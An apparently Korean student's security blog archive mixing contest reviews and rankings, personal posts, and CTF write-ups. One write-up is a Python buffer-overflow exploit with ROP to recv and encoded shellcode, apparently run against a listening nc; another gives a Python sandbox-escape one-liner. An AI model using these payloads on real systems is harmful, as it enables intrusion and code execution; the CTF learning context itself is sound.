본선이 끝난지 일주일이 거의 다 되가는데 STAC때문에 바빠서 이제서야 후기를 쓰네요.


매년 개최되는 중고생정보보호올림피아드가 올해 9회째를 맞이 하였습니다. 

재작년에는 보안공부를 시작하면서 디미고 선배이신 고길선배깨서 대회를 우승하시고 다 같이 찍으신 사진을 보고 부러워만하고 작년에는 재학증명서 발급을 못받아 참여를 못하였는데 올해는 참여를 하게됬네요.

예선과 본선을 나눠서 진행하였는데 예선은 중학교 11개교와 고등학교 60개에서 총 200여명이 참가해 상위 20명이 본선을 가는 방식이였습니다.



1. Quals


대회는 bob때문에 센터에서 하게 되었습니다. 9시에 공식적인 대회 일정이 시작했는데 늦잠을 자버려 문제는 대충 10시부터 풀기 시작한거 같네요. 총 10개의 문제가 주어졌는데 카테고리 별로 분야가 나뉜게 아닌 다양한 문제들이 자리잡고 있었읍니다. 10번문제는 항상 그래왔듯이 사진이 주어지고 키를 게싱하는 문제였는데 게싱을 극혐 하는 저로써는 도저히 감이 안오더군요. 5번 문제가 c# 리버싱이길래 먼저 문제를 봤더니 클라이언트 프로그램에서 특정 값을 서버로 보내주면 그에 따라 서버에서 특정 응답이 오는 문제였습니다. 적절히 key index값과 key value 값을 맞춰 키를 인증한후 다시 10번 문제를 봤더니 몇일전에 센터에서 몇번 들은 적이 있떤 IoT(사물인터넷)이 답이 더군요. 그래서 얼른 인증을 하고 열심히 문제를 풀려고 삽질을 하다가 대회를 1시간 정도 남기고 웹문제를 하나 풀었습니다. 페이지 마다 js 소스가 있고 그 페이지의 게임들을 클리어하게 해주는 특정 js 함수들을 호출해주면 숨겨진 url  페이지가 나왔습니다. 거기서 post로 주어진 아이디/비번을 인증하니 키가 떠서 인증을 하고 보니 18등이 더군요. ( 본선 진출은 20등까지..) 그렇게 조마조마 하고 있던차에 대회가 끝났습니다.


1. setuid0 ( 임정원 - 선린인터넷고등학교 )

2. push0ebp ( 이시훈 - 선린인터넷고등학교 )

3. KH2RS ( 김승현 - 세일고등학교 )

4. gurwodla ( 임재혁 - 청량고등학교 )

5. simpac ( 심화용 - 선린인터넷고등학교 )

6. codpot ( 서승완 - 한국디지털미디어고등학교 )

7. qqqq ( 이선엽 - 부평고등학교 )

8. 1tchy ( 박선주 - 선린인터넷고등학교 )

9. unlimit ( 배경준 - 한세사이버보안고등학교 )

10. exploit7002 ( 이동관 - 과천외국어고등학교 )

11. reset ( 김대준 - 고려고등학교 )

12. junoim ( 임준오 - 석우중학교 )

13. sangjun123 ( 송상준 - 서초고등학교 )

14. mango ( 김준기 - 선린인터넷고등학교 )

15. velcoz ( 윤성권 - 김해삼문고등학교 )

16. dolee365 ( 양해찬 - 한국디지털미디어고등학교)

17. adm1nkyj ( 김용진 - 함양제일고등학교 )

18. xeros ( 김제곤 - 한국디지털미디어고등학교 )

19. ksg97031 ( 김성기 - 한세사이버보안고등학교 )

20. emiyamulzomdao ( 손민철 - 한국과학영재학교 ) 


위는 예선 최종 순위입니다. 



2. Finals


본선은 10월 17일 여의도 국회의사당에서 진행되었습니다. 대회운영진분깨서 9시까지 오라고 말씀을 주셨었는데 지하철이 막히고 내려야 할 역을 지나버리고 이런 난리를 치는 바람에 딱 8시 59분에 도착했더라구요ㅋㅋㅋ

도착하니까 다른 형들은 다 와계시더군요. 대회장에서 필요한 셋업등을 마치고 나니 숨실 겨를도 없이 바로 대회가 시작했습니다. 


[대회장 입구]


[대회장 내부]


대회가 시작하자마자 여러 문제들을 훑어 보면서 무엇을 풀지 보다가 arm 바이너리 문제를 잡았습니다. 

문제가 정확히 기억이 안나지만.. 아마 배열에 담겨있는 알파벳들을 코드에 나온 대로만 배열 시켜주면 키가 나왔던걸로 기억하네요. 10번 문제는 역시 사진을 던져주고 답을 맞추는 문제였는데 linux, heartbleed, shellshock, paros, mysql 과 같은 사진들을 주더군요. 도저히 감을 못잡고 있다가 공개소프트웨어 엿나? 로 인증 했더니 됐던것 같네요. 거의 100번 가까이 인증 시도를 했던 기억이.. 그리고 푼게 7번 문제 였는데 좀 실망스러웠던게 OpenStego로 한번 추출해주니 바이너리가 나왔고 ida로 열어주니 그대로 키가 박혀있었습니다. 그렇게 3문제를 풀고 등수를 확인했더니 4등이였고 2분만에 준오랑 민철님깨서 바로 문제를 풀어 5, 6등을 차지하더군요. 준오랑은 40초 차이였다는..ㅋㅋㅋㅋ


1등부터 8등까지 전부 2번 7번 10번을 푼 상태로 대회가 마무리 되었습니다. 마지막에 30분 대회를 연장했는데 추격당할까봐 엄청 긴장했네요. 그렇게 대회를 마무리 했고 운이 좋게 제가 금상을 타게 되었습니다. 



대회가 끝나고 국회의사당을 배경으로 찍었습니다. 사진을 못구해서 구하는데로 업뎃 하겠습니다 ㅠㅠ


그렇게 대회가 끝나고 시상식을 한후에 대준이형, 화용이형, 경준이형, 준기형, 선주형이랑 밥을 먹으러 가려 하다가 대준이형은 중간에 빠지시고 나머지 형들이랑 콘래드 호텔쪽에서 밥을 먹고 해어진다음 준기형이랑 같이 센터에 갔네요. 


그럭저럭 재밌는 대회였고 다음에도 또 참여해서 좋은 성적 거두길 바래야겠네요! 

아래는 최종순위입니다. 


△대상 : 김대준(고려고)

△금상 : 박선주 (선린인터넷고), 김성기(한세사이버보안고), 김제곤(한국디지털미디어고)

△은상 : 임준오(석우중), 손민철(한국과학영재고등학교), 윤성권(김해 삼문고)

△동상 : 이시훈(선린인터넷고), 배경준(한세사이버보안고), 서승완(한국디지털미디어고)


 본선에 참가하신 분들과 운영진 여러분들 모두 수고많으셨습니다.



3. 관련기사 및 뉴스


[사이언스 투데이]

http://science.ytn.co.kr/program/program_view.php?s_mcd=0082&s_hcd=&key=201410201627272214

[보안 뉴스]

www.boannews.com/media/view.asp?idx=43600&kind=0


Posted by xer0s :

문제로 파이썬 소스가 주어집니다. 



builtins 모듈에서 후에 실행시켜줄 raw_input과 print 함수만을 제외하고는 다 지워버립니다.

그리고는 입력을 받고 exec을 통해 실행을 시켜주네요. __bases__ 와 __subclasses__ 모듈을 적절히 이용해 file()함수를 호출하여 키를 읽어 줄 수 있습니다.


root@ubuntu:~# cat key

this works

root@ubuntu:~# python tmp.py

Welcome to my Python sandbox! Enter commands below!

>>> print (().__class__.__bases__[0].__subclasses__()[40]("./key").read())

this works


익스플로잇이 간단해서 좋네요.

로컬에서 성공시키고 서버에서도 성공했었는데 지금은 서버가 닫혔네요ㅜㅜ


'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon 2015 exploitation100  (0) 2015.01.11
ChristmasCTF ALGO200  (0) 2014.12.26
codegate 2013 vuln200 - exploit only  (0) 2014.02.14
ropasaurusrex  (1) 2013.12.06
codegate junior ctf  (0) 2013.07.27
Posted by xer0s :

2014년 08월 08일날 순천향대 청소년 정보보호 페스티벌 예선전이 열렸었습니다. 이번에 굇수분들이 많이 빠지셔서 운이 좋게도 본선에 진출을 하게 되었네요. 17일날 본선 라운드를 진행하는데 좋은 결과 있었으면 좋겠습니다. 본선 진출자분들과 관계자분들 그때 뵈요! 

대회에 참여했던 사람으로써 간단하게 문제평을 해보자면 매끄럽지 못했던 문제들이 꽤 있었던 것 같습니다. Misc 200 같은 경우는 맥에서 키노트로 열면 키가 바로 보이기도 하였고 web200 같은경우는 출제자분이 의도했던 백터왜에도( 문제힌트로 Blind SQLI라고 나왔습니다) 여러 백터들이 있더군요. indirect sql injection이 그 중 하나였는데 대회 종료후에는 패치가 됐더군요.. system200도 아스키아머 때문에 문제를 풀지 못하는 경우가 있었는데.. 대회도중 no aslr, nx 서버환경등을 알려주더라구요(아는형이 따졌답니다) 제가 보안공부를 시작하고 처음 접했던 대회가 순천향대였던 만큼 아쉬운점들이 몇몇 있었습니다. 


그래도 대회기간동안 밤을 새가면서 대회운영을 해주신 운영진분들 수고하셨습니다.


Writeup 첨부합니다.

xeros_2014_YISF_문제풀이보고서.pdf



Posted by xer0s :

이번 코드게이트 주니어 세미나때 발표를 하게되었습니다.

발표주제는 IDA, 다양한 기능들로 보다 강력히 사용하기 였는데..

발표를 들으시는 분들중에 생각보다 보안을 처음접하시는 분들이 많더라구요..


실제로 같은고 친구들도 와서 발표 어땟냐고 물어보니 하나도 이해를 못했다는..

발표때도 원하는 말도 다 못하고 나오고 많은걸 느끼게 해준 값진 경험이였습니다. 







발표자료와 데모 영상 첨부합니다. (데모는 중간 3분부터 5분 50초 정도까지 IDA가 lol을 인식하는 과정이 느려서 넘기시고 보셔도 됩니다.) 이해가 안되시는 부분이 있으면 댓글이나 연락 주시면 최대한 빠르게 답변 드릴깨요.



IDA, 다양한 기능들로 보다 강력히 사용하기.pdf






주니어해킹방어대회에서 여러분들을 뵈서 인사도 드리고 국제해킹방어대회장도 갔는데..


정말 위압감이 장난아니더라구요. 열심히 공부해서 좋은팀 구해 꼭 본선도 한번 나가보고 싶네요. 

몇몇팀 사진들 찍어봤습니다.




이건 최종 결과





여담인데.. ppp는 너무 잘하는듯..


'General News > Life story' 카테고리의 다른 글

2014 제 9회 중고생정보보호올림피아드 예선/본선 후기  (4) 2014.10.23
2014 순천향대 청소년 정보보호 페스티벌 예선  (0) 2014.08.14
근황..  (3) 2013.12.31
합격!  (0) 2013.11.27
으..  (0) 2013.09.05
Posted by xer0s :



#!/usr/bin/python

from socket import *

from struct import pack

from time import sleep


p = lambda x : pack("<L", x)


recv_plt = p(0x08048780)

bss = p(0x0804b0a0)


shellcode = "\xdb\xd6\xbb\xed\x91\xd8\x8f\xd9\x74\x24\xf4\x5e\x33\xc9"

shellcode += "\xb1\x12\x31\x5e\x1a\x03\x5e\x1a\x83\xee\xfc\xe2\x18\xa0"

shellcode += "\x03\x78\x01\x90\xf0\xd4\xaf\x15\x7e\x3b\x9f\x7c\x4d\x3c"

shellcode += "\x84\xde\x25\x42\x3a\xdf\xb4\xda\x52\xc1\xd7\x44\xf1\x97"

shellcode += "\x07\xd8\xa5\xee\xc9\x99\x2f\x97\x51\xd3\x2f\x0e\xe5\x32"

shellcode += "\x9f\x8e\x24\x44\x96\x89\x4f\x15\x40\x45\x9f\xe5\xf8\xf1"

shellcode += "\xf0\x6b\x91\x6f\x86\x8f\x31\x23\x11\xae\x01\xc8\xec\xb1"



payload = ""

payload += "write"

payload += "\x41"*0xf0

payload += recv_plt

payload += bss

payload += p(4)

payload += bss

payload += p(len(shellcode))

payload += p(0)


s = socket(AF_INET, SOCK_STREAM)

s.connect(('localhost', 7777))


s.recv(1024)

s.send(payload+"\n")

sleep(1)

s.send(shellcode)



s.recv(1024)

s.close() 


한쪽에서 nc로 대기하고 다른쪽에서 exploit 실행 햇습니당 

'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon 2015 exploitation100  (0) 2015.01.11
ChristmasCTF ALGO200  (0) 2014.12.26
CSAW CTF 2014 Pybabies  (0) 2014.09.26
ropasaurusrex  (1) 2013.12.06
codegate junior ctf  (0) 2013.07.27
Posted by xer0s :

근황..

2013. 12. 31. 22:26 from General News/Life story

최근에 여러모로 바빠서 블로그 포스팅을 많이 못했는데..

시간을 내서 최근 있었던 일과 앞으로의 계획등을 정리해 보려 합니다.


1. 디미고 과제

디미고를 합격하고 약 2주동안은 보안공부를 거의 못했는데 과제량이 정말 많네요 ㅡ.ㅡ

12/30일 방학이 시작되고 나서 과제 때문에 보안공부를 못할 일은 없어졌지만 여전히 과제가 많은건 어쩔수 

없었읍니다.


2. 3박4일 서울

12월 27일날은 팀원들끼리 소소하게 모여서 세미나도 참석하고 SUA단체에서 뒷풀이도 갔었읍니다. 사실 세미나 자체는 그닥 재밌진 않았지만 뒷풀이는 재밌었던거 같네요. 



가려졌지만 하얀색 무늬가 있는 니트를 입고 있는게 나고 준오, 현종이형, 오현이형, 서울여대 분들 2명, 성우형, 문기님, 도원이형, 그리고 한분은 이름이..ㅠㅠ 이렇게 앉아서 얘기도 나누면서 저녁식사를 함께 했읍니다. 


세미나 뒷풀이가 끝나고 한아전으로가 새벽 4시에 시작하는 30c3 ctf를 풀기로 하였는데.. 

너무 어려워서 대회는 접어두고 그냥 잠을 잤읍니다.. 


다음날 팀원들이랑 점심식사를 하고 도원이형, 바현이형, 오현이형 나 이렇게 4이서 서코 구경을 갔습니다.




팀원들끼리 단체사진( 바현이형이 찍어주셧고 진혁이형은 찍기 싫다고 안찍으셧다는 ㅠㅠ)


서코는 항상 가보고 싶다고 생각은 했었는데 직접 가보니 그 경이로움은 말로 표현할 수가 없었읍니다.

실제로 팀형중 한명은 충격때문에 서코 구경내내 말을 못하셨다는..



잔나 코스프레



무슨 코스프레인진 모르겠지만 한컷



이 정도 일줄은 몰랐는데.. 사람 정말 많더군요.. 형들에 의하면 이번에는 엄청 조금 온거라고..ㄷㄷ




이런 경험들을 하고 다시 도원이형 성우형과 함께 성우형집으로 가서 밤을 보내고 다음날 버스를 타고 집으로 돌아왔습니다.


3. 향후 계획

이렇게 여러 경험들도 했고 다시 공부에 매진을 해야되는데 앞으로의 계획들을 나열해 보자면..


1) 여러 알고리즘 공부해보기 (Machine learning, MIC, Viterbi, Baum-Welch ..)

2) 리버싱공부 

3) 안드로이드 개발 프로젝트 (3개월)

4) ARM커널 소스 분석, Nexuiz 분석

5) 디미고 과제


크게 봤을때 이정도 되는거 같네요.


이번방학은 정말 후회없이 보내야 겠다고 매일 생각은 하고 있는데 정말 그랬으면 좋겟읍니다.

어찌됐든 요즘은 그렇게 큰 걱정거리도 없고 좋은듯 하네요ㅎ

'General News > Life story' 카테고리의 다른 글

2014 순천향대 청소년 정보보호 페스티벌 예선  (0) 2014.08.14
2014 코드게이트 주니어 세미나 발표자료 및 후기  (2) 2014.04.03
합격!  (0) 2013.11.27
으..  (0) 2013.09.05
Things to do..  (0) 2013.07.09
Posted by xer0s :

ropasaurusrex

2013. 12. 6. 00:25

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

합격!

2013. 11. 27. 17:30 from General News/Life story


디미고.. 합격했다..!!

1년간의 노력이 결실을 맺는 순간..

고등학교 가서도 내신이랑 보안공부 둘다 열심히 하고 꼭 유학 가서 성공할 수 있도록 노력하자

'General News > Life story' 카테고리의 다른 글

2014 순천향대 청소년 정보보호 페스티벌 예선  (0) 2014.08.14
2014 코드게이트 주니어 세미나 발표자료 및 후기  (2) 2014.04.03
근황..  (3) 2013.12.31
으..  (0) 2013.09.05
Things to do..  (0) 2013.07.09
Posted by xer0s :

으..

2013. 9. 5. 23:53 from General News/Life story

항상 블로그를 꾸준히 관리하겠다고 다짐하지만 보름을 못가 그 다짐이 무너지네요 ㅠㅠ

이놈의 귀차니즘이 문제지..


요즘 주식이랑 심리학도 공부하고 있는데 언제한번 그 포스팅이나 할깨요


그나저나 곧있으면 중간고사고 또 금방 디미고 원서 접수기간인데..

포스팅 할수는 있으련지 ㄷㄷ..


'General News > Life story' 카테고리의 다른 글

2014 순천향대 청소년 정보보호 페스티벌 예선  (0) 2014.08.14
2014 코드게이트 주니어 세미나 발표자료 및 후기  (2) 2014.04.03
근황..  (3) 2013.12.31
합격!  (0) 2013.11.27
Things to do..  (0) 2013.07.09
Posted by xer0s :

2013-07-26 오전 10시부터 오후 10시까지 코드게이트에서 주최하는 주니어 ctf가 열렸습니다.                      

아침부터 학원을가서 거의 2시간 다 되서 돌아와서 풀기 시작했는데 벌써 올클 하신분도 계시더군요 -.-


시스템 분야는 아예 자신이 없어서 대회전부터 겁을 먹고 시작했었는데 다행이 처음 3문제는 시스템이 아니더군

요. 시스템공부도 열심히 해서 다음을 기약하며 간단하게 write up 끄적여 봅니다.


#1 

HQGOHVVURERWZDU

위 암호문이 주어지고 문제가 주어졌습니다.

알파벳을 보자마자 떠오른게 시져암호 였는데 key를 1부터 하나하나 해보니 key가 3일때 

ENDLESSROBOTWAR이라는 글자가 나오더군요.

인증했더니 정답이였습니다.


#2

두번째 문제는 리버싱이였습니다. 바이너리를 다운받고 올리로 까본결과 

키가 아니라는 문자열로 가게 해주는 jnz들이 다수 존재했고 jnz바로 위에 입력한글자에서 

특정값과 xor한다음 그걸 비교해주는 연산이 존재했습니다.

각 조건에 맞는 값을 xor해서 구해줘서 이어주면 

hello junior hackers라는 정답이 나왔습니다.


#3

어이없게 삽질을 했던 문제엿습니다.

사이트가 주여졌고 사이트에 들어가보면 id 와 password를 입력하는 창과 두 소스가 주어졌습니다.

계정은 admin_1000 부터 admin_9999까지 사용할 수 있게 코딩이 되어있더군요.

첫번째 소스(login_ok.phps)를 봐보니 @fopen하는 부분에 id_pass_db 디렉토리가 보였습니다.

혹시 되나 하고 그 디렉토리로 접속을 해봣더니 각 계정마다 password가 txt파일로 있더군요.

아이디와 비밀번호를 입력하고 로그인을 하려하자 너무 많은 시도로 block되 있다고 나왓습니다

그래서 두번째 소스인(remove_block_ok.phps)를 봤습니다.

소스를 보면 $authcode를 입력받고 이를 특정값이랑 비교해주는 부분이 있는데 여기서 authcode를 찾아내는

라 조금 삽질을 했었습니다. 그러나 소스 아래부분을 다시 봐줬을때 /block 이라는 디렉토리가 존재하였고 

그 디렉토리를 봐본결과 block이 설정된 계정들 목록이 있더군요.

그래서 거기에 없는 계정으로 다시 패스워드 구해서 로그인 해줬더니 키가 나오고 풀렸습니다.


나름 자극도 받았고 비록 3문제 밖에 못풀었지만 내년에는 꼭 이보다 더 좋은 성적을 위해 노력해야 겠습니다.

대충 끄적인 풀이 읽어 주셔서 감사합니다 ..ㅋㅋ


'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon 2015 exploitation100  (0) 2015.01.11
ChristmasCTF ALGO200  (0) 2014.12.26
CSAW CTF 2014 Pybabies  (0) 2014.09.26
codegate 2013 vuln200 - exploit only  (0) 2014.02.14
ropasaurusrex  (1) 2013.12.06
Posted by xer0s :